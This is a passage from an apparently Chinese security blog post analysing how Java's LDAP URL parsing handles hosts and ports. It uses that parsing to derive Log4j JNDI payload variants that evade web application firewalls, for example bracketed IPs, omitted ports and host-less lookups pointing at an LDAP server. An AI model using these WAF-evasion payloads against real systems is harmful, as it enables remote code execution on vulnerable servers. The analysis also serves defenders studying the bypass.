this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";if (this.hostname.charAt(0) == '[') {this.hostname = this.hostname.substring(1, this.hostname.length() - 1);}if (var3 > 0) {this.port_number = var3;} else {this.port_number = this.useSsl ? 636 : 389;this.useDefaultPortNumber = true;}
其中var2=LdapURL中解析的host,var3=LdapURL中解析的port
- 注意到代码逻辑,如果var2为null,则直接使this.hostname="localhost";
- 如果hostname的第一个字符为"[",则取出第二个字符至倒数第二个字符的子字符串,即从[ip],去掉[],获得ip
- 如果var3<=0,即LdapURL解析port失败,则在使用ldaps时,端口改为636,使用ldap时,端口强制改为389
Bypass WAF tips
根据前面LdapURL和LdapCtx的解析逻辑,可以对log4j的payload做出如下变换
- 不出现port,避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}${jndi:ldap:192.168.1.1:/a}注意此时需要ldap服务端口为389
文章插图
- 对IP添加包裹
${jndi:ldap://[192.168.34.96]/a}${jndi:ldap://[192.168.34.96]]/a} LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
- 不出现ip和端口(有点鸡肋)
${jndi:ldap:/a}此时相当于ldap://localhost:389/a
这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的原理是,LdapURL解析时有个关键处理如下
this.hasAuthority = var1.startsWith("//", var2);// var2=第一个冒号的索引if (hasAuthority){解析获取host和port}
此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389文章插图
这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务,但都可以在目标上执行命令了,还需要这样干吗?所以有点鸡肋,除非java程序的权限比可以执行命令的用户权限更高,从而拿到更高权限(不过提权姿势也很多啊)
- 不出现jndi:ldap关键字
https://b1ue.cn/archives/513.html ,
另外可以对log4j解析${}的部分深入了解一下,还能通过其自身特性,避免直接出现jndi:ldap关键字,但不是自己研究出来的就不公开了
【如何跟踪log4j漏洞原理及发现绕WAF的tips】
推荐阅读
- 微服务项目到底如何分模块?
- 扬声器如何检测
- XAI 可解释的AI :如何使用LIME 和 SHAP更好地解释模型的预测
- 春季养生该如何健康补血 需做好饮食调理
- 长期酗酒易可引发酒精肝 经常喝酒的人如何养肝
- 春季经常喝酒如何养肝 节后多吃枸杞养肝排毒
- 春季如何让宝宝更好的午睡 睡多长时间比较好
- 春季如何养肝最有效 不同体质人养肝方法不同
- 红茶种类味道差别大吗,红茶伊丽莎白
- 如何处理打印机卡纸